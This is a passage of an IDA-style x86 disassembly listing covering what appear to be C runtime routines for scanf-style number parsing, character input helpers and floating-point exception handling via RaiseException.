		cmp	esi, 78h
		jnz	short loc_41C7A5
		cmp	dword_43AD8C, 1
		jle	short loc_41C76E
		push	80h
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C77B
; ---------------------------------------------------------------------------


loc_41C76E:				; CODE XREF: sub_41BFF5+768j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41C77B:				; CODE XREF: sub_41BFF5+777j
		test	eax, eax
		jz	loc_41C826
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41FA70
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41CA1A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41C7F8
; ---------------------------------------------------------------------------


loc_41C7A5:				; CODE XREF: sub_41BFF5+75Fj
		cmp	dword_43AD8C, 1
		jle	short loc_41C7BA
		push	4
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C7C5
; ---------------------------------------------------------------------------


loc_41C7BA:				; CODE XREF: sub_41BFF5+7B7j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41C7C5:				; CODE XREF: sub_41BFF5+7C3j
		test	eax, eax
		jz	short loc_41C826
		cmp	esi, 6Fh
		jnz	short loc_41C7E3
		cmp	ebx, 38h
		jge	short loc_41C826
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41FA70
		jmp	short loc_41C7F2
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41BFF5+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_419780


loc_41C7F2:				; CODE XREF: sub_41BFF5+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41C7F8:				; CODE XREF: sub_41BFF5+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41C810
		dec	[ebp+var_C]
		jz	short loc_41C834


loc_41C810:				; CODE XREF: sub_41BFF5+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41C751
; ---------------------------------------------------------------------------


loc_41C826:				; CODE XREF: sub_41BFF5+788j
					; sub_41BFF5+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41CA6B
		pop	ecx
		pop	ecx


loc_41C834:				; CODE XREF: sub_41BFF5+756j
					; sub_41BFF5+819j
		cmp	[ebp+var_17], 0
		jz	loc_41C91A
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41C91A
; ---------------------------------------------------------------------------


loc_41C856:				; CODE XREF: sub_41BFF5+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41C912


loc_41C860:				; CODE XREF: sub_41BFF5+90Aj
		cmp	esi, 78h
		jz	short loc_41C8A4
		cmp	esi, 70h
		jz	short loc_41C8A4
		cmp	dword_43AD8C, 1
		jle	short loc_41C87F
		push	4
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C87F:				; CODE XREF: sub_41BFF5+87Cj
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41C88A:				; CODE XREF: sub_41BFF5+888j
		test	eax, eax
		jz	short loc_41C904
		cmp	esi, 6Fh
		jnz	short loc_41C89D
		cmp	ebx, 38h
		jge	short loc_41C904
		shl	edi, 3
		jmp	short loc_41C8DC
; ---------------------------------------------------------------------------


loc_41C89D:				; CODE XREF: sub_41BFF5+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41C8DC
; ---------------------------------------------------------------------------


loc_41C8A4:				; CODE XREF: sub_41BFF5+86Ej
					; sub_41BFF5+873j
		cmp	dword_43AD8C, 1
		jle	short loc_41C8BC
		push	80h
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C8C9
; ---------------------------------------------------------------------------


loc_41C8BC:				; CODE XREF: sub_41BFF5+8B6j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41C8C9:				; CODE XREF: sub_41BFF5+8C5j
		test	eax, eax
		jz	short loc_41C904
		push	ebx
		shl	edi, 4
		call	sub_41CA1A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41C8DC:				; CODE XREF: sub_41BFF5+8A6j
					; sub_41BFF5+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41C8EE
		dec	[ebp+var_C]
		jz	short loc_41C912


loc_41C8EE:				; CODE XREF: sub_41BFF5+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41C860
; ---------------------------------------------------------------------------


loc_41C904:				; CODE XREF: sub_41BFF5+897j
					; sub_41BFF5+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41CA6B
		pop	ecx
		pop	ecx


loc_41C912:				; CODE XREF: sub_41BFF5+865j
					; sub_41BFF5+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41C91A
		neg	edi


loc_41C91A:				; CODE XREF: sub_41BFF5+843j
					; sub_41BFF5+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41C923
		and	[ebp+var_1C], 0


loc_41C923:				; CODE XREF: sub_41BFF5+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41C9FB
		cmp	[ebp+var_E], 0
		jnz	short loc_41C95C
		inc	[ebp+var_34]


loc_41C936:				; CODE XREF: sub_41BFF5+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41C94C
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41C95C
; ---------------------------------------------------------------------------


loc_41C94C:				; CODE XREF: sub_41BFF5+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41C959
		mov	[eax], edi
		jmp	short loc_41C95C
; ---------------------------------------------------------------------------


loc_41C959:				; CODE XREF: sub_41BFF5+95Ej
		mov	[eax], di


loc_41C95C:				; CODE XREF: sub_41BFF5+241j
					; sub_41BFF5+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41C9A9
; ---------------------------------------------------------------------------


loc_41C967:				; CODE XREF: sub_41BFF5+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41C9D6
		mov	ecx, off_43AB80
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41C9A9
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41C9E4
		dec	[ebp+var_4]


loc_41C9A9:				; CODE XREF: sub_41BFF5+970j
					; sub_41BFF5+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41C9BF
		cmp	byte ptr [esi],	25h
		jnz	short loc_41CA01
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41CA01
		mov	esi, eax


loc_41C9BF:				; CODE XREF: sub_41BFF5+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41C01F
		jmp	short loc_41C9FB
; ---------------------------------------------------------------------------


loc_41C9CB:				; CODE XREF: sub_41BFF5+1F4j
					; sub_41BFF5+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41C9DB
; ---------------------------------------------------------------------------


loc_41C9D6:				; CODE XREF: sub_41BFF5+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41C9DB:				; CODE XREF: sub_41BFF5+9DFj
		call	sub_41CA6B
		pop	ecx
		pop	ecx
		jmp	short loc_41C9FB
; ---------------------------------------------------------------------------


loc_41C9E4:				; CODE XREF: sub_41BFF5+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41CA6B
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41CA6B
		add	esp, 10h


loc_41C9FB:				; CODE XREF: sub_41BFF5+1Fj
					; sub_41BFF5+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41CA12


loc_41CA01:				; CODE XREF: sub_41BFF5+9BDj
					; sub_41BFF5+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41CA15
		cmp	[ebp+var_15], al
		jnz	short loc_41CA15
		or	eax, 0FFFFFFFFh
		jmp	short loc_41CA15
; ---------------------------------------------------------------------------


loc_41CA12:				; CODE XREF: sub_41BFF5+A0Aj
		mov	eax, [ebp+var_34]


loc_41CA15:				; CODE XREF: sub_41BFF5+A11j
					; sub_41BFF5+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BFF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA1A	proc near		; CODE XREF: sub_41BFF5+7A3p
					; sub_41BFF5+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43AD8C, 1
		push	esi
		jle	short loc_41CA34
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41CA43
; ---------------------------------------------------------------------------


loc_41CA34:				; CODE XREF: sub_41CA1A+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43AB80
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41CA43:				; CODE XREF: sub_41CA1A+18j
		test	eax, eax
		jnz	short loc_41CA4D
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41CA4D:				; CODE XREF: sub_41CA1A+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41CA1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA51	proc near		; CODE XREF: sub_41BFF5+1E1p
					; sub_41BFF5+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41CA63
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41CA63:				; CODE XREF: sub_41CA51+7j
		push	edx
		call	sub_41AB28
		pop	ecx
		retn
sub_41CA51	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA6B	proc near		; CODE XREF: sub_41BFF5+6Bp
					; sub_41BFF5+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41CA81
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41FA8F
		pop	ecx
		pop	ecx

locret_41CA81:				; CODE XREF: sub_41CA6B+5j
		retn
sub_41CA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA82	proc near		; CODE XREF: sub_41BFF5+63p
					; sub_41BFF5+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41CA88:				; CODE XREF: sub_41CA82+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41CA51
		mov	edi, eax
		push	edi
		call	sub_4199C2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CA88
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41CAA6(int,int,double,int)

sub_41CAA6	proc near		; CODE XREF: sub_418B79+51p
					; sub_418CBF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43B500, 0
		jnz	short loc_41CADB
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41D05B
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41CADB:				; CODE XREF: sub_41CAA6+Aj
		push	0FFFFh
		mov	dword_4D86D0, 21h
		push	[ebp+arg_C]
		call	sub_41D2CE
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41CAA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CAF9(int,int,double,double,int)

sub_41CAF9	proc near		; CODE XREF: sub_418B79:loc_418C3Cp
					; sub_418CBF:loc_418D82p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE44
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CB37
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41CB91
		add	esp, 18h


loc_41CB37:				; CODE XREF: sub_41CAF9+1Aj
		push	[ebp+arg_0]
		call	sub_41D12E
		cmp	dword_43B500, 0
		pop	ecx
		jnz	short loc_41CB75
		test	eax, eax
		jz	short loc_41CB75
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41D05B
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41CB75:				; CODE XREF: sub_41CAF9+4Ej
					; sub_41CAF9+52j
		push	eax
		call	sub_41D0E3
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41D2CE
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41CAF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB91	proc near		; CODE XREF: sub_41CAF9+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41CBC3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41CBC3:				; CODE XREF: sub_41CB91+23j
		test	cl, 2
		jz	short loc_41CBD6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41CBD6:				; CODE XREF: sub_41CB91+35j
		test	cl, bl
		jz	short loc_41CBE8
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_41CBE8:				; CODE XREF: sub_41CB91+47j
		test	cl, 4
		jz	short loc_41CBFB
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_41CBFB:				; CODE XREF: sub_41CB91+5Aj
		test	cl, 8
		jz	short loc_41CC0E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_41CC0E:				; CODE XREF: sub_41CB91+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41D2B1
		test	al, bl
		jz	short loc_41CC97
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41CC97:				; CODE XREF: sub_41CB91+FDj
		test	al, 4
		jz	short loc_41CCA2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41CCA2:				; CODE XREF: sub_41CB91+108j
		test	al, 8
		jz	short loc_41CCAD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41CCAD:				; CODE XREF: sub_41CB91+113j
		test	al, 10h
		jz	short loc_41CCB7
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41CCB7:				; CODE XREF: sub_41CB91+11Ej
		test	al, 20h
		jz	short loc_41CCC1
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41CCC1:				; CODE XREF: sub_41CB91+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41CD00
		cmp	eax, 400h
		jz	short loc_41CCF2
		cmp	eax, 800h
		jz	short loc_41CCE6
		cmp	eax, ecx
		jnz	short loc_41CD06
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41CD06
; ---------------------------------------------------------------------------


loc_41CCE6:				; CODE XREF: sub_41CB91+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41CCFC
; ---------------------------------------------------------------------------


loc_41CCF2:				; CODE XREF: sub_41CB91+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41CCFC:				; CODE XREF: sub_41CB91+15Fj
		mov	[eax], ecx
		jmp	short loc_41CD06
; ---------------------------------------------------------------------------


loc_41CD00:				; CODE XREF: sub_41CB91+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41CD06:				; CODE XREF: sub_41CB91+14Bj
					; sub_41CB91+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41CD31
		cmp	eax, 200h
		jz	short loc_41CD24
		cmp	eax, ecx
		jnz	short loc_41CD3E
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------


loc_41CD24:				; CODE XREF: sub_41CB91+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41CD3C
; ---------------------------------------------------------------------------


loc_41CD31:				; CODE XREF: sub_41CB91+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41CD3C:				; CODE XREF: sub_41CB91+19Ej
		mov	[eax], ecx


loc_41CD3E:				; CODE XREF: sub_41CB91+189j
					; sub_41CB91+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41D2BF
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_42305C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41CDB8
		and	dword ptr [esi], 0FFFFFFFEh


loc_41CDB8:				; CODE XREF: sub_41CB91+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41CDC1
		and	dword ptr [esi], 0FFFFFFFBh


loc_41CDC1:				; CODE XREF: sub_41CB91+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41CDCA
		and	dword ptr [esi], 0FFFFFFF7h


loc_41CDCA:				; CODE XREF: sub_41CB91+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41CDD3
		and	dword ptr [esi], 0FFFFFFEFh


loc_41CDD3:				; CODE XREF: sub_41CB91+23Dj
		test	[eax+8], bl
		jz	short loc_41CDDB
		and	dword ptr [esi], 0FFFFFFDFh


loc_41CDDB:				; CODE XREF: sub_41CB91+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41CE0F
		dec	ecx
		jz	short loc_41CE03
		dec	ecx
		jz	short loc_41CDF9
		dec	ecx
		jnz	short loc_41CE11
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41CE11
; ---------------------------------------------------------------------------


loc_41CDF9:				; CODE XREF: sub_41CB91+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41CE0B
; ---------------------------------------------------------------------------


loc_41CE03:				; CODE XREF: sub_41CB91+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_41CE0B:				; CODE XREF: sub_41CB91+270j
		mov	[esi], ecx
		jmp	short loc_41CE11
; ---------------------------------------------------------------------------


loc_41CE0F:				; CODE XREF: sub_41CB91+257j
		and	[esi], edx


loc_41CE11:				; CODE XREF: sub_41CB91+260j
					; sub_41CB91+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41CE31
		dec	ecx
		jz	short loc_41CE28
		dec	ecx
		jnz	short loc_41CE3A
		and	[esi], edx
		jmp	short loc_41CE3A
; ---------------------------------------------------------------------------


loc_41CE28:				; CODE XREF: sub_41CB91+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41CE38
; ---------------------------------------------------------------------------


loc_41CE31:				; CODE XREF: sub_41CB91+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41CE38:				; CODE XREF: sub_41CB91+29Ej
		mov	[esi], ecx


loc_41CE3A:				; CODE XREF: sub_41CB91+291j
					; sub_41CB91+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE44	proc near		; CODE XREF: sub_41CAF9+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41CE6F
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41CE6F
		push	ebx
		call	sub_41D2F1
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41D039
; ---------------------------------------------------------------------------


loc_41CE6F:				; CODE XREF: sub_41CE44+15j
					; sub_41CE44+1Aj
		test	al, 4
		jz	short loc_41CE89
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41CE89
		push	4
		call	sub_41D2F1
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41D039
; ---------------------------------------------------------------------------


loc_41CE89:				; CODE XREF: sub_41CE44+2Dj
					; sub_41CE44+33j
		test	al, bl
		jz	loc_41CF63
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41CF63
		push	8
		call	sub_41D2F1
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41CF3B
		cmp	ecx, 400h
		jz	short loc_41CF13
		cmp	ecx, 800h
		jz	short loc_41CEEB
		cmp	ecx, eax
		jnz	loc_41CF5B
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423840
		fld	dbl_43B0F8
		fnstsw	ax
		sahf
		ja	short loc_41CEE3
		fchs


loc_41CEE3:				; CODE XREF: sub_41CE44+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41CF59
; ---------------------------------------------------------------------------


loc_41CEEB:				; CODE XREF: sub_41CE44+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423840
		fnstsw	ax
		sahf
		jbe	short loc_41CF03
		fld	dbl_43B0E8
		jmp	short loc_41CF0B
; ---------------------------------------------------------------------------


loc_41CF03:				; CODE XREF: sub_41CE44+B5j
		fld	dbl_43B0F8
		fchs


loc_41CF0B:				; CODE XREF: sub_41CE44+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41CF59
; ---------------------------------------------------------------------------


loc_41CF13:				; CODE XREF: sub_41CE44+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423840
		fnstsw	ax
		sahf
		jbe	short loc_41CF2B
		fld	dbl_43B0F8
		jmp	short loc_41CF33
; ---------------------------------------------------------------------------


loc_41CF2B:				; CODE XREF: sub_41CE44+DDj
		fld	dbl_43B0E8
		fchs


loc_41CF33:				; CODE XREF: sub_41CE44+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41CF59
; ---------------------------------------------------------------------------


loc_41CF3B:				; CODE XREF: sub_41CE44+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423840
		fld	dbl_43B0E8
		fnstsw	ax
		sahf
		ja	short loc_41CF53
		fchs


loc_41CF53:				; CODE XREF: sub_41CE44+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41CF59:				; CODE XREF: sub_41CE44+A5j
					; sub_41CE44+CDj ...
		fstp	qword ptr [ecx]


loc_41CF5B:				; CODE XREF: sub_41CE44+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41D039
; ---------------------------------------------------------------------------


loc_41CF63:				; CODE XREF: sub_41CE44+47j
					; sub_41CE44+51j
		test	al, 2
		jz	loc_41D039
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41D039
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41CF7E
		mov	esi, ebx


loc_41CF7E:				; CODE XREF: sub_41CE44+136j
